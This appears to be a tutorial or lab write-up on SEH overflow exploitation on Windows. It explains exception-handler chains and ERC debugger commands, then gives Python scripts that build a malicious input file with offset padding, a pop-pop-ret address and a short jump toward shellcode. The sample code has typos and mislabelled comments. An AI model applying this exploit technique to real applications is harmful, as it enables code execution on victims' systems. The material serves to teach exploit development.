SEH Overflows
What is a Structured Exception Handler (SEH)?⌗
Exception handlers are programming constructs used to catch errors in Windows applications. They catch both system level and application level errors. They commonly look like the code snippet below.
The idea is to continue coding best practices to allow applications or system events to fail gracefully.
try
{
// do something
}
else{
catch(Exception e)
{
// Error handling
}
}
Windows has a default exception handler for when an application doesn’t implement their own handler for a certain error condition. An SEH error typically looks something like the one below
SEH Chains⌗
Exception handlers are stored into a linked list to form an SEH chain. When an application crashes it traverses this linked list to find an appropriate exception handler.
Each item in this linked list is known as an SEH record. The first record points to the next SEH record and the second record points to the current SEH records exception handler
The way this works is instead of allowing the program to crash, the program will point to somewhere in memory that handles a function which prints an error box to the screen and clears memory.
ERC⌗
Quick Command reference
ERC --help
ERC --config SetWorkingDirectory C:\Users\YourUserName\DirectoryYouWillBeWorkingFrom
ERC --pattern c 3000
ERC --FindNRP <-- Find offset
ERC --bytearray <-- create byte array payload to find bad chracters
ERC --bytearray -bytes 0x000x0A0x0D <-- Ommit bad chars
ERC --compare <ESP Address> C:\Users\Dev1\Documents\ERCWorkingDir\ByteArray_13.bin
ERC --SEH <-- Displays a list of addresses for pop pop ret instructions
Preventing SEH exploits⌗
Use /SAFESEH compiler flag. The linker will build a list of safe SEH event handler pointers into a table. 64 bit applications do this automatically so are not vulnerable to SEH exploits.
Exploitation⌗
Crashing the application⌗
Testing for control of SEH pointers⌗
Finding the offset⌗
Controlling SEH pointers⌗
Now we know the offset we can implement start to understand the SEH pointers and which one we control first.
By inserting different bytes after the offset it becomes clear which pointer it is we are controlling
file1 = open("exploit2.txt",'wb')
totalLen = 3000
buf=b"\x90"*1008 <-- Fuzz to SEH offset
buf += b"\x41\x41\x41\x41" # Current event handler
buf += b"\x42\x42\x42\x42" # Next SEH record
buf += b"\x43"*(totalLen - len(buf))
file1.write(buf)
file1.close()
This shows us that we have control over the pointer to the current exception handler and the pointer to the next SEH record. In order to redirect execution flow we need to alter the pointer to the current exception handler because this is how SEH handles execution flow and is able to execute functions to fail gracefully. Essentially we are treating this pointer as the IP if we were doing a normal buffer overflow. Because the pointer to the next SEH record sits directly before the pointer to the current exception handler we need to control this pointer before we can redirect execution flow.
This can be seen in the screenshot above. Our x42s have overwritten the value for the pointer to the next record and our x41s have overwritten the pointer to the current event handler. This explains why the x41s are in the “Address” field, the current event handler pointer is trying to point to the address we have provided (“x41”*4).
Using ERC -SEH
we can find a pop;pop;ret
instruction. We need to look for one with ASLR, DEP, Rebase and SafeSEH disabled.
The reason we need this specific instruction set in place of the current SEH record is because it will prevent the application from crashing, while returning execution to the top of the stack, ready to point to the current event handler. If we didn’t pop 8 bytes off the stack it would not return execution to the correct place. Alternatively if we didnt provide this instruction set in the first place the application would just crash and never return to the current event handler.
By providing a valid address for the IP to point to the application doesn’t crash and then execution returns to where we want it, which is the top of the stack.
I chose 0x6e7d4bec
as my pointer but it doesn’t really matter which you chose as long as all the above protections are disabled.
By setting a breakpoint at this address we will be able to monitor the affect.
Updating our code to reflect these changes we can generate a new payload to pass to the application
file1 = open("exploit2.txt",'wb')
totalLen = 3000
buf=b"\x90"*1008 <-- Fuzz to SEH offset
buf += b"\x41\x41\x41\x41" # Current event handler
buf += b"\xec\x4b\x7d\x6e" # Next SEH record
buf += b"\x43"*(totalLen - len(buf))
file1.write(buf)
file1.close()
Running the application we can see the program breaks when then EIP is pointing to our address we specified in our payload. Looking at the assembly view we can see the pop pop ret instructions about to be executed.
Stepping into these instructions we can see we land at our \x41
values, the address the current event handler is pointing too.
Code execution⌗
In order to get code execution we have to be able to point the current event handler to an area of memory we control. Currently we can alter the values of both pointers for the SEH record and the exception handler. By looking at our debugger when we land in the current handler there are some random instructions in between our current location and an area of memory we control as evidenced by the trail of “\x43” values.
We can generate some opcodes to perform this jump for us using the ERC -Assemble jmp 0013
command
file1 = open("exploit2.txt",'wb')
totalLen = 3000
buf=b"\x90"*1008 <-- Fuzz to SEH offset
buf += b"\xEB\x0B\x90\x90" # Current event handler
buf += b"\xec\x4b\x7d\x6e" # Next SEH record
buf += b"\x43"*(totalLen - len(buf))
file1.write(buf)
file1.close()
Running the application once again and passing it our newly generated payload we can see once execution returns to the top of the stack after the pop;pip;ret
instruction set, the IP now points to a jmp instruction. We specified a jmp instruction of 13 bytes so it will now jmp over the bad instructions and into the area of memory we control.
By replacing our \x43
bytes with a nop slep, we can slide into our shell code to gain code execution.